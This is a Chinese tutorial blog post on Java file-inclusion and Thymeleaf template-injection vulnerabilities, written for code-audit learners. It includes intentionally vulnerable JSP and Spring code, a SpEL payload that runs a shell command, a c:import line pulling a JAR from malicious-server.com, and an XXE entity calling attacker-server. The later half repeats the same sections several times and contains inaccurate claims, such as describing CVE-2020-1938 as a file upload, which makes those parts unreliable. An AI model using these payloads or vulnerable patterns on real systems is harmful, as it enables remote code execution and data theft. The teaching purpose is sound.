【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍

0x00 写在前面

为什么会有这一些列的文章呢？因为我发现网上没有成系列的文章或者教程，基本上是 Java 代码审计中某个点来阐述的，对于新人来说可能不是那么友好，加上本人也在学习 Java 审计，想做个学习历程的记录和总结，因此有了本系列的文章。

本系列的文章面向人群主要是拥有 Java 基本语法基础的朋友，系列文章的内容主要包括，审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS 漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE 漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic 系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等，可能内容顺序会略有调整，但是总体内容不会改变，最后希望这系列的文章能够给你带来一点收获。

目前已完成内容如下：

【Java 代码审计入门-01】审计前的准备【Java 代码审计入门-01】审计前的准备 - Panda | 热爱安全的理想少年

【Java 代码审计入门-02】SQL 漏洞原理与实际案例介绍【Java 代码审计入门-02】SQL 漏洞原理与实际案例介绍 - Panda | 热爱安全的理想少年

【Java 代码审计入门-03】XSS 漏洞原理与实际案例介绍【Java 代码审计入门-03】XSS 漏洞原理与实际案例介绍 - Panda | 热爱安全的理想少年

【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍 - Panda | 热爱安全的理想少年

【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍 - Panda | 热爱安全的理想少年

0x01 前戏

下载 RCE 测试源码：

https://github.com/cn-panda/JavaCodeAudit

导入项目，可以得到以下目录：

项目是一个为了体现文件包含而特地写的一些功能，比如从本地引入文件、从远程引入文件等，此外，还有 Springboot+thymeleaf 的文件包含测试项目。

0x02 漏洞原理

文件包含漏洞出现最多的地方是在由 PHP 编写的 Web应用中，我们知道，在 PHP 中，攻击者可以通过 PHP 中的某些包含函数（如：include、require 等），去包含一个含有攻击代码的恶意文件，在包含这个文件后，由于 PHP 包含函数的特性，无论包含的是什么类型的文件，都会将所包含的文件当作 PHP 代码去解析执行。

也就是说，攻击者可能上传一个一句话木马后缀是 txt 或者 jpg 的文件，上传后利用文件包含漏洞去包含这个一句话木马文件就可以成功拿到 Shell 了。

那么Java 中有没有类似的包含漏洞呢？回答这个问题前首先来看看 Java 中原生的包含其他文件的方式。

JSP 的文件包含分为静态包含和动态包含两种。

第一种是静态包含：<%@include file="test.jsp"%>

所谓的静态包含就是指包含在其中的参数值，如上述的file参数，不能动态赋值，定义的时候写的是什么，那就是什么，而不能够在项目运行时，动态的赋值给它。因此，通常我们认为，静态包含并不含有文件包含漏洞，当然，不排除和其他漏洞结合而产生的奇妙反应造成包含漏洞产生的可能性，但这里我们不谈。

有静必有动，第二种便是动态包含，动态包含的形式有如下两种：

<jsp:include page="<%=file%>"></jsp:include>

<jsp:include page ="<%=file%>"/>

<c:import url="<%= url%>"></c:import>

来看看第一种形式，这种形式相对静态包含来讲, 要复杂一点，因为在静态包含中其只属于一个include指令元素, 并且只有一个file的属性, 只是写上路径就行了, 路径可以是相对路径也可以是绝对路径, 但不能是<%=...%>代表的表达式，但在这里，file 属性可以是<%=...%>代表的表达式。

第二种形式其实和第一种形式并无本质上的区别，core 库的<c:import>和 <jsp:include> 一样，也是一种请求时操作，它的目的就是将其它一些 Web 资源的内容插入到当前的 JSP 页面中，这些 Web 资源就是通过url 属性来指定的，这也是<c:import> 的唯一一个必选属性。值得一提的是，这里允许使用相对 URL，并且根据当前页面的 URL 来解析这个相对 URL。

举个例子，如果我们当前页面的 URL 地址是http://127.0.0.1/admin/index.jsp，那么如果我们引用的 URL 属性值为/user/edit.jsp，那么其实最终解析的 URL 就是http://127.0.0.1/admin/user/edit.jsp

所以，如果 url 属性的值以斜杠开始，那么它就被解释成本地 JSP 容器内的绝对 URL。如果没有为 context 属性指定值，那么就认为这样的绝对 URL 引用当前 servlet 上下文内的资源。如果通过context 属性显式地指定了上下文，那么就根据指定的 servlet 上下文解析绝对（本地）URL。

当然，<c:import> 操作并不仅仅限于访问本地内容，也可以为具体协议和主机名的完整 URI 。并且实际上，协议甚至不仅局限于 HTTP。 <c:import> 的 url 属性值可以使用 java.net.URL 类所支持的任何协议（也就是http, https, ftp, file,jar,mailto,netdoc）。

由于这些特性，导致动态包含可能会出现文件包含漏洞，但这种包含和 PHP 中的包含存在很大的差别，对于 Java 的本地文件包含来说，造成的危害只有文件读取或下载，一般情况下不会造成命令执行或代码执行。因为一般情况下 Java 中对于文件的包含并不是将非 jsp 文件当成 Java 代码去执行，如果这个 JSP 文件是一个一句话木马文件，我们可以直接去访问利用，并不需要多此一举去包含它来使用了，除非在某些特殊场景下，如某些目录下权限不够可以尝试利用包含来绕过（理论上）。

通常情况下 Java 并不会把非 jsp 文件当成 Java 去解析执行，但是可以利用服务容器本身的一些特性（如将指定目录下的文件全部作为 jsp 文件解析），来实现任意后缀的文件包含，如 Apache Tomcat Ajp（CVE-2020-1938）漏洞，利用 Tomcat 的 AJP（定向包协议）协议实现了任意后缀名文件当成 jsp 文件去解析，从而导致 RCE 漏洞。

除此之外，另外提一点，静态包含和动态包含在执行时间上有很大的区别。静态包含是翻译阶段执行的，即被包含的文件和被插入到的页面会被 JSP 编译器合成编译，最终编译后的文件实际上只有一个。而动态包含实际是在请求处理阶段执行的，JSP程序会将请求转发到（注意不是重定向）被包含页面，并将执行结果输出到浏览器中，然后返回页面继续执行后面的代码，即被包含的文件和被插入到的页面会被JSP编译器单独编译。

好了，说了那么多，来看看我们写的例子吧。

首先是本地文件包含：

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
 String file = request.getParameter("file");
%>

<jsp:include page="<%=file%>"></jsp:include>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
 <title>JSP 文件包含测试（本地）</title>

</head>

<body>
File Include Test Page. <br>
</body>

</html>

当我们令file的参数值为data.txt时，可以得到该文件的内容，如下图所示：

但是这里有个问题，就是这里包含的路径实际上只能是该 web 路径下的文件，并且该文件的类型只能是文本类型，如jsp、txt等，不支持图片等类型的文件。

当尝试访问一个图片资源的时候，就会报错：

并且不支持解析.java 文件（原理上面已说过）：

其次再来看看远程包含：

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head> 
 <title>远程文件包含测试</title>

 <%  String url = request.getParameter("url"); %>
 <c:import url="<%=url%>"></c:import>  
 
 <meta http-equiv="pragma" content="no-cache">
 <meta http-equiv="cache-control" content="no-cache">
 <meta http-equiv="expires" content="0">
</head>

<body>
This is my JSP page. <br>
</body>

</html>

远程包含不但可以包含远程文件，同时可以包含本地文件，如下：

包括图片资源（不解析图片，但是有图片的数据）：

解析远程文件：

深入利用，首先在 XSS 平台生成一个利用的 xss payload，然后在远程创建一个 html 页面，这个 html 里面镶嵌了这个 xss js，然后利用包含漏洞远程访问：

成功获取到了 cookie

除此之外，还可以利用 file、netdoc 协议来实现任意文件读取的目的：

那么 java 文件包含漏洞做到的仅仅如此而已吗？

答案是否定的，在前文中我提到 <c:import> 的 url 属性值可以使用 java.net.URL类所支持的任何协议，因此 jar 协议也自然在其中，对 jar 协议的利用，通常是在 XXE 漏洞中，实际上在 java 的文件包含漏洞中也可以利用。

利用方式和K0rz3n师傅提到的利用 jar 上传文件大差不差，同样是利用临时文件，然后报错获取临时文件的路径，由于时间关系，我这里只是做了个简单的测试：

可以看到临时文件确实存在于目录下，只不过由于是临时的，所以很快自动删除了，只要使用某种技巧（K0rz3n师傅提到），就能够使得文件长时间存在于目标服务器中，但是如何利用上传的文件，也是一个问题，这里我也没深入思考其利用方式，有兴趣的朋友可以思考一番

除了原生的 java 文件包含，实际上还有框架层面的文件包含漏洞，这里就简单举个例子来说明一下。

我们理解的 JSP 文件包含是可控<jsp:include、<c:import中的资源引用属性，同样，我们理解的 PHP 文件包含是将任意文件当成 PHP 文件去解析，那么如果延伸一下这种原理，实际上在某种意义上spring boot Thymeleaf 模板注入也是一种类型的文件包含漏洞。看一个比较经典的例子：

@GetMapping("/admin")  
public String path(@RequestParam String language) {  
    return "language/" + language + "/admin";  
}

这是 SpringBoot 项目中某个控制器的部分代码片段，thymeleaf 的目录如下：

因此从代码逻辑中基本上可以判断，这实际上是一个语言界面选择的功能，如果是中文阅读习惯者，那么会令language参数为cn，如果是英文阅读习惯者，那么会令language参数为en，代码逻辑本身实际上是没有什么问题的，但是这里采用的是 thymeleaf 模板，就出现了问题。

在springboot + thymeleaf 中，如果视图名可控，就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后，Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板，在寻找的过程中，会将传入的参数当成SpEL表达式执行，从而导致了远程代码执行漏洞。这里不主要分析 Thymeleaf 模板注入漏洞的原理，所以简单说下其渲染的流程：

createView() 根据视图名创建对应的View

renderFragment() 根据视图名解析模板名称

所以可以跟进renderFragment()来看看如何解析模板名称的：

    protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
        String templateName;
        Set<String> markupSelectors, processMarkupSelectors;
        ServletContext servletContext = getServletContext();
        String viewTemplateName = getTemplateName();
        ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();
        
      ...
            
            try {
                fragmentExpression = (FragmentExpression)parser.parseExpression((IExpressionContext)context, "~{" + viewTemplateName + "}");
            } catch (TemplateProcessingException e) {
                throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
            } 
            
            FragmentExpression.ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression((IExpressionContext)context, fragmentExpression);
            
            templateName = FragmentExpression.resolveTemplateName(fragment);
            markupSelectors = FragmentExpression.resolveFragments(fragment);
            Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters();
            
            if (nameFragmentParameters != null) {
                
                if (fragment.hasSyntheticParameters())
                {
                    
                    throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
                }

                context.setVariables(nameFragmentParameters);
            } 
        } 
        
       ...
     }

可以发现，这里将模板名称(viewTemplateName) 进行拼接 "~{" + viewTemplateName + "}"，然后使用parseExpression进行解析，继续跟进parseExpression就可以发现会对传入的参数进行预处理，最终使用SpEL执行表达式。

所以我们直接令language参数的值为一个我们指定的SpEL表达式，就可以实现 RCE：

那么如果我们假设存在一个可以上传非 jsp 类型文件的漏洞，并且上传的位置可控，控制器的逻辑如下：

@GetMapping("/test")  
public String test(@RequestParam String path) {  
    return "/" + path;  
}

因此就可能发生以下情况：

将test.html上传到模板文件夹template根目录下：
test.html内容如下：

<!DOCTYPE html>  
<html lang="en" xmlns="http://www.w3.org/1999/xhtml"  
 xmlns:th="http://www.thymeleaf.org">  
<head>  
    <title>Hello World!</title>  
</head>  
<body>  
<h1 th:inline="text">Hello</h1>  
<p th:text="@{__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()}__}"></p>  
</body>  
</html>

访问即可达到PHP 中的文件包含效果：

这种情况，在实际情况下我遇到过，只不过非 jsp文件类型的任意位置的文件上传漏洞比较少见，可能遇到这种情况的人比较少，所以也不具有代表性。

此外，我们知道Thymeleaf模板的语法有以下几种常用的表达式：

${…}: 变量表达式
*{…}: 选择表达式
#{…}: 消息表达式
@{…}: 链接表达式
~{…}: 片段表达式

所以在这里，如果存在一个模板文件中的参数可控，即：

并且控制器中的逻辑为：

@GetMapping("/page")  
public String path(@RequestParam String exp, Model model) {  
    model.addAttribute("exp", exp);  
    return "exp";  
}

同样可以实现 RCE 效果：

这里介绍的仅仅是原理是类似于文件包含的 thymeleaf 漏洞，实际上这类的漏洞有专门的名称——SSTI（模板注入漏洞）

不过之所以在这里把这个漏洞归于文件包含，是因为见过这种漏洞式实例，所以只是简单提一下，大家可以举一反三，思考其他框架出现这种漏洞的可能性。

那么，这类的漏洞应该如何修复或者如何避免呢？

0x03 修复方案

对于 JSP 文件包含来说，其所造成的影响有限，出现的频率基本上可以忽略不计（基本上没人这样写代码，import 引用的资源一般都是写死的）

但对于thymeleaf等模板框架来说，出现这种情况的漏洞还是极有可能的，所以这里简单说说thymeleaf修复方式，其他模板也是同理，根据模板的特性来修复即可。

在上文中我们提到，createView()方法的作用是根据视图名创建对应的View，实际上在该方法中，Thymeleaf 对redirect:和forward:有特殊处理：

跟进RedirectView这个重定向类，然后可以发现：

简单来说这里的逻辑会根据填写的返回值来判断是重定向（redirect:）还是请求转发（forward:），然后调用原生的Servlet的重定向或者请求转发方法，从而就不会进入执行SpEL表达式的流程，也就不会产生所谓的漏洞了。

因此在视图名称可控的情况下，使用了如下几种方式的代码不受影响：

使用@ResponseBody注解
rerturn 时的内容由redirect:或forward:开头
参数中有HttpServletResponse，response已经被处理
Thymeleaf 使用最新版，新版已经修复了这两个问题（视图名称可控、模板预处理变量可控）

jsp 的文件包含实际上不好找，我在 CVE 官网上找到的基本上都是任意文件读取漏洞，之前遇到的实例也不好发出来，因此也就不在这里举实际例子了

0x06 参考

Software Security | Protect your Software at the Source | Fortify
https://xz.aliyun.com/t/3357
Thymeleaf 模板漏洞分析 | Hexo
https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/standard-expression-syntax.html

为了更深入地理解Java中的文件包含漏洞，我们可以进一步探讨其背后的技术细节、潜在的影响以及防御措施。此外，我们还可以看看如何在审计过程中识别这些漏洞，并了解一些高级利用技术。

技术细节

动态包含的执行机制

动态包含（如<jsp:include>和<c:import>）允许在运行时指定要包含的内容。这使得它们非常适合于创建灵活的应用程序，但也带来了安全风险。当使用用户提供的输入作为包含路径时，攻击者可能会尝试操纵该输入以加载他们选择的资源。

JSP Include：它将请求转发给被包含的页面，然后将其输出合并到当前页面中。
C Import：它可以处理本地和远程资源，并且支持多种协议（HTTP, HTTPS, FTP等）。由于它可以在运行时解析URL，因此更容易受到攻击。

文件读取与代码执行

通常情况下，Java应用程序不会像PHP那样直接执行非JSP文件。但是，在某些特殊场景下，例如服务器配置错误或特定版本的容器漏洞（如CVE-2020-1938），可能会导致任意后缀名的文件被当作JSP来解析，从而实现RCE。

潜在影响

敏感信息泄露：通过LFI，攻击者可以访问配置文件、日志文件或其他不应该公开的信息。
跨站脚本攻击（XSS）：如果能够包含外部HTML或JavaScript代码，就有可能发起XSS攻击，窃取用户的cookie或者其他敏感数据。
远程代码执行（RCE）：虽然比较少见，但在特定条件下，如上述提到的Tomcat AJP漏洞，攻击者可能获得对服务器的完全控制。

高级利用技术

除了基本的文件包含攻击外，还有几种高级技巧可以扩大攻击面：

协议利用：利用file://、jar:等协议读取本地文件系统上的资源，甚至可能绕过某些安全限制。
模板注入：如Spring Boot + Thymeleaf案例所示，视图名称受控可能导致SpEL表达式求值，进而引发RCE。
结合其他漏洞：例如XXE漏洞可以与文件包含配合使用，从内部网络获取敏感信息或者上传恶意文件。

审计过程中的识别

在进行Java代码审计时，应该特别注意以下几点：

查找动态包含语句：寻找所有使用了<jsp:include>、<c:import>的地方，并检查是否直接或间接地使用了用户输入。
评估输入验证逻辑：确保任何用于构建文件路径或URL的输入都经过严格的验证和清理。
审查框架配置：对于使用模板引擎的应用程序，检查是否存在不安全的设置，比如默认启用的开发模式。
测试边界条件：尝试构造各种异常输入，观察应用程序的行为是否符合预期。

防御措施

为了有效防范文件包含漏洞，建议采取以下策略：

最小权限原则：确保Web应用只能访问必要的文件和目录，避免不必要的暴露。
输入白名单过滤：仅允许预定义的安全字符集内的输入，拒绝一切不符合规则的数据。
固定文件列表：如果可能的话，限定可包含的文件为一个固定的集合，而不是依赖于动态生成的路径。
更新和打补丁：保持所有使用的库和框架都是最新版本，及时应用官方发布的安全更新。
教育和培训：提高开发团队的安全意识，定期开展安全编码实践的学习。

总结

文件包含漏洞是Java Web应用程序中的一种重要安全隐患，尽管它们不像在PHP中那样普遍，但一旦被利用，仍然会造成严重的后果。通过对这些漏洞的工作原理和技术细节有更深的理解，可以帮助开发者更好地保护自己的应用免遭此类攻击。同时，在实际的代码审计工作中，运用正确的技术和方法论，有助于发现并修复潜在的问题，增强系统的整体安全性。

为了更深入地探讨Java中的文件包含漏洞，我们可以进一步剖析其技术细节、探索更多高级利用技术和防御策略。同时，我们还可以讨论如何在代码审计过程中有效地识别和修复这些问题，并分享一些实际案例来增强理解。

技术细节的深入分析

动态包含的内部工作原理

动态包含标签（如<jsp:include>和<c:import>）不仅涉及简单的文本替换，还涉及到Servlet容器的行为。例如：

JSP Include：当使用<jsp:include>时，JSP页面会将请求转发给被包含的资源，并将结果嵌入到当前页面中。这个过程是在请求处理阶段发生的，意味着每次请求都会重新加载并执行被包含的内容。
C Import：<c:import>可以处理本地或远程资源，并且支持多种协议（HTTP, HTTPS, FTP等）。它的工作方式类似于HTTP客户端，向指定URL发起请求，并将响应内容插入到当前页面。这为攻击者提供了更大的灵活性，因为他们不仅可以包含本地文件，还可以包含来自互联网的任意资源。

文件读取与代码执行的深层次影响

尽管Java应用程序通常不会直接执行非JSP文件，但在某些特殊情况下，可能会发生异常行为：

服务器配置错误：如果Web服务器或应用容器配置不当，可能会导致任何类型的文件都被当作JSP解析。例如，Tomcat AJP漏洞（CVE-2020-1938）允许攻击者通过AJP协议上传任意后缀名的文件，并将其作为JSP执行。
框架特性滥用：像Spring Boot + Thymeleaf这样的组合，如果视图名称受用户控制，就可能引发SpEL表达式求值的问题。这是因为Thymeleaf在寻找模板时，会尝试解释传入的路径参数，从而可能导致RCE。

高级利用技术

除了基本的文件包含攻击外，还有几种高级技巧可以扩大攻击面：

协议利用：利用file://、jar:、netdoc:等协议读取本地文件系统上的资源，甚至可能绕过某些安全限制。例如，jar:协议可以用来加载打包在JAR文件内的资源，而netdoc:则可用于访问网络文档。
模板注入：如前所述，视图名称受控可能导致SpEL表达式求值，进而引发RCE。此外，其他模板引擎（如Freemarker、Velocity）也可能存在类似问题，需要特别注意。
结合其他漏洞：例如XXE漏洞可以与文件包含配合使用，从内部网络获取敏感信息或者上传恶意文件。通过精心构造的外部实体定义，攻击者可以在XML文档中引入恶意代码，然后利用文件包含漏洞将其加载到目标系统中。

代码审计中的识别与修复

在进行Java代码审计时，应该特别关注以下几个方面：

查找动态包含语句：全面扫描代码库，寻找所有使用了<jsp:include>、<c:import>的地方，并仔细检查这些地方是否直接或间接地使用了用户输入。
评估输入验证逻辑：确保任何用于构建文件路径或URL的输入都经过严格的验证和清理。对于字符串拼接形成的路径，应考虑使用正则表达式或其他方法进行严格匹配。
审查框架配置：对于使用模板引擎的应用程序，检查是否存在不安全的设置，比如默认启用的开发模式。同时，确认是否正确配置了模板引擎的安全选项，以防止潜在的注入风险。
测试边界条件：尝试构造各种异常输入，观察应用程序的行为是否符合预期。特别是要注意那些可能导致意外路径解析或协议切换的情况。

实际案例研究

让我们来看几个实际案例，以便更好地理解文件包含漏洞的影响及其防范措施：

案例一：Apache Tomcat AJP漏洞（CVE-2020-1938）：该漏洞使得攻击者可以通过AJP协议上传任意后缀名的文件，并将其作为JSP执行。此漏洞强调了即使在看似安全的环境中，也必须保持警惕，并及时更新软件版本。
案例二：Spring Boot + Thymeleaf模板注入：在一个真实世界的应用中，由于开发者没有充分考虑到视图名称的安全性，导致攻击者能够通过构造特殊的URL参数触发SpEL表达式的求值，最终实现了RCE。这一事件提醒我们在选择和配置第三方库时要格外小心。
案例三：XXE与文件包含结合攻击：某公司网站遭受了一次复杂的攻击，攻击者首先利用XXE漏洞上传了一个包含恶意代码的XML文件，随后又通过文件包含漏洞将该文件加载到服务器上执行。此类攻击展示了不同漏洞之间的协同作用，要求我们在设计和实现系统时采取综合性的防护策略。

防御措施

为了有效防范文件包含漏洞，建议采取以下综合策略：

最小权限原则：确保Web应用只能访问必要的文件和目录，避免不必要的暴露。例如，限制对敏感文件夹的读写权限，仅授予应用程序所需的最低限度权限。
输入白名单过滤：仅允许预定义的安全字符集内的输入，拒绝一切不符合规则的数据。对于文件路径来说，最好采用枚举的方式列出所有合法的路径选项，而不是依赖于动态生成的字符串。
固定文件列表：如果可能的话，限定可包含的文件为一个固定的集合，而不是依赖于动态生成的路径。这样可以大大减少攻击面，因为攻击者无法轻易找到有效的目标文件。
更新和打补丁：保持所有使用的库和框架都是最新版本，及时应用官方发布的安全更新。定期检查已知漏洞数据库，确保所使用的组件不存在已公开的安全问题。
教育和培训：提高开发团队的安全意识，定期开展安全编码实践的学习。组织内部培训课程，分享最新的安全趋势和技术，鼓励开发人员遵循最佳实践编写代码。
自动化工具辅助：利用静态分析工具（SAST）、动态分析工具（DAST）以及交互式应用安全测试（IAST）来自动检测潜在的安全漏洞。这些工具可以帮助快速定位问题区域，节省手动审查的时间和精力。

总结

文件包含漏洞是Java Web应用程序中的一种重要安全隐患，尽管它们不像在PHP中那样普遍，但一旦被利用，仍然会造成严重的后果。通过对这些漏洞的工作原理和技术细节有更深的理解，可以帮助开发者更好地保护自己的应用免遭此类攻击。

为了进一步深入探讨Java中的文件包含漏洞，我们可以从以下几个方面进行扩展：高级利用技术的详细解析、防御措施的具体实施、代码审计的最佳实践以及实际案例的深度剖析。此外，我们还将讨论如何结合其他类型的漏洞（如XXE）来构建更复杂的攻击场景，并介绍一些用于检测和修复这些问题的工具和技术。

高级利用技术的详细解析

利用`jar:`协议

jar:协议允许通过URL直接访问打包在JAR文件内的资源。这为攻击者提供了一种潜在的方式来绕过传统的文件系统权限限制，因为JAR文件的内容可以在运行时动态加载。例如：

<c:import url="jar:http://malicious-server.com/malicious.jar!/payload.jsp"/>

上述代码会尝试从恶意服务器下载一个名为malicious.jar的文件，并从中提取出payload.jsp来执行。这种攻击方式需要满足几个条件：

服务器允许外部HTTP请求。
容器配置不当或存在漏洞，使得它能够处理并执行来自JAR文件的内容。
攻击者能够控制或预测JAR文件的路径及其内部结构。

使用`netdoc:`协议

netdoc:协议可以用来访问网络文档，理论上可以用来读取内网资源。虽然这个协议的应用不如file:常见，但它仍然可能成为一种隐蔽的攻击手段。例如：

<c:import url="netdoc://internal-server/secret.txt"/>

如果应用程序部署在企业内部网络中，且该网络未对外部流量进行严格过滤，那么攻击者可以通过这种方式获取内部敏感信息。

结合XXE漏洞

XML外部实体注入（XXE）是一种常见的Web应用安全问题，它可以与文件包含漏洞结合起来，形成更加复杂和危险的攻击链。例如，攻击者首先利用XXE漏洞上传一个包含恶意代码的XML文件，然后通过文件包含漏洞将此文件加载到服务器上执行。具体步骤如下：

构造恶意XML文件：创建一个包含外部实体定义的XML文件，指向一个可由攻击者控制的远程服务器。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://attacker-server/payload.xml">
]>
<foo>&xxe;</foo>

上传或提交恶意XML文件：通过应用程序提供的接口上传该文件，或者以其他形式提交给服务器处理。
触发文件包含漏洞：一旦服务器开始解析这个XML文件，并且存在文件包含漏洞，攻击者就可以通过指定的路径加载恶意内容。
执行恶意代码：最终，恶意代码被执行，导致RCE或其他形式的攻击成功。

防御措施的具体实施

针对上述高级利用技术，以下是具体的防御措施：

禁用不必要的协议：确保只启用必要的协议（如HTTP/HTTPS），关闭所有其他不使用的协议（如file:, jar:, netdoc:等）。这可以通过配置Web服务器或应用容器来实现。
限制文件系统的访问范围：对应用程序的文件系统访问权限进行严格的限制，确保只能访问预期的目录和文件。使用操作系统的文件权限机制，结合应用程序级别的逻辑控制，双重保障数据的安全性。
输入验证与清理：对于任何形式的用户输入，尤其是那些可能影响文件路径或URL构建的部分，必须经过严格的验证和清理。采用白名单策略，仅接受预定义的安全字符集；对于路径参数，考虑使用枚举的方式列出所有合法的选项。
更新依赖库：定期检查并更新所有第三方库和框架，确保它们是最新版本并且没有任何已知的安全漏洞。订阅相关社区的安全公告，及时响应新出现的问题。
启用安全配置选项：许多现代Web框架提供了内置的安全功能，如防止模板注入、自动转义输出等。确保正确配置这些选项，并根据官方文档启用推荐的安全设置。
监控与日志记录：建立完善的监控体系，实时跟踪应用程序的行为变化。同时，保持详细的日志记录，便于事后分析和追踪异常活动。对于关键操作，如文件包含，应该特别关注其频率和模式，及时发现可疑行为。

代码审计的最佳实践

在代码审计过程中，识别和修复文件包含漏洞至关重要。以下是一些最佳实践：

自动化静态分析：利用SAST（Static Application Security Testing）工具扫描源代码，寻找潜在的文件包含语句和其他安全隐患。这些工具可以帮助快速定位问题区域，节省手动审查的时间和精力。
动态测试：结合DAST（Dynamic Application Security Testing）工具，在运行环境中模拟真实的攻击场景，评估应用程序的实际安全性。这种方法有助于发现那些仅在特定条件下才会显现的问题。
交互式应用安全测试（IAST）：IAST工具能够在应用程序运行时监测其内部状态，提供更为精确的安全诊断。这类工具通常不需要修改现有代码即可工作，非常适合于持续集成/持续交付（CI/CD）流程。
人工审查：尽管有各种自动化工具辅助，但人工审查仍然是不可或缺的一环。经验丰富的安全工程师可以根据业务逻辑和上下文，更准确地判断潜在风险，并提出合理的改进建议。
编写单元测试：为涉及文件操作的关键部分编写单元测试，确保它们按照预期工作。特别是要测试边界条件和异常情况下的行为，确保不会因为意外输入而导致安全问题。
代码复查制度：建立严格的代码复查制度，要求每次提交都经过至少一名同事的审核。这不仅有助于提高代码质量，还能促进团队成员之间的知识共享和技术交流。

实际案例的深度剖析

案例一：Apache Tomcat AJP漏洞（CVE-2020-1938）

这个漏洞展示了即使在一个成熟且广泛使用的软件中，也可能隐藏着严重的安全缺陷。它提醒我们：

保持警惕：即使是被认为安全的技术栈，也应始终保持警觉，及时跟进最新的安全研究和发展。
快速响应：当得知新的漏洞时，应当立即采取行动，评估受影响程度，并尽快应用补丁或临时缓解措施。
最小化暴露面：尽可能减少暴露在外的服务端口和服务组件，降低被攻击的可能性。

案例二：Spring Boot + Thymeleaf模板注入

此类事件强调了选择和配置第三方库的重要性：

仔细评估依赖关系：在引入任何第三方库之前，务必对其安全性进行全面评估，包括阅读文档、查看开源项目的历史记录等。
遵循安全指南：严格按照官方提供的安全指南进行配置，不要忽视任何一个细节。很多时候，一个小疏忽就可能导致重大隐患。
加强内部培训：通过组织内部培训课程，分享最新的安全趋势和技术，鼓励开发人员遵循最佳实践编写代码。

案例三：XXE与文件包含结合攻击

这一复杂攻击案例表明：

综合防护策略：面对多种类型的安全威胁，必须采取综合性的防护策略，而不是孤立地看待每一个问题。例如，既要防范XXE漏洞，也要注意文件包含漏洞的存在。
强化边界防护：在网络架构设计阶段就要充分考虑到安全因素，加强对内外网边界的防护，阻止非法流量进入核心区域。
持续改进安全机制：随着攻击技术和工具的发展，现有的安全措施也需要不断进化。定期回顾和优化安全策略，确保其始终有效。

总结

通过对文件包含漏洞的深入探讨，我们可以看到它们不仅仅是简单的编码错误，而是涉及到整个应用架构和技术栈的深层次问题。了解这些漏洞的工作原理和技术细节，可以帮助开发者更好地保护自己的应用免遭此类攻击。同时，在实际的代码审计工作中，运用正确的技术和方法论，有助于发现并修复潜在的问题，增强系统的整体安全性。

标签：文件,Java,入门,包含,代码,漏洞,06,模板
From： https://blog.csdn.net/shaozheng0503/article/details/144912399

【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍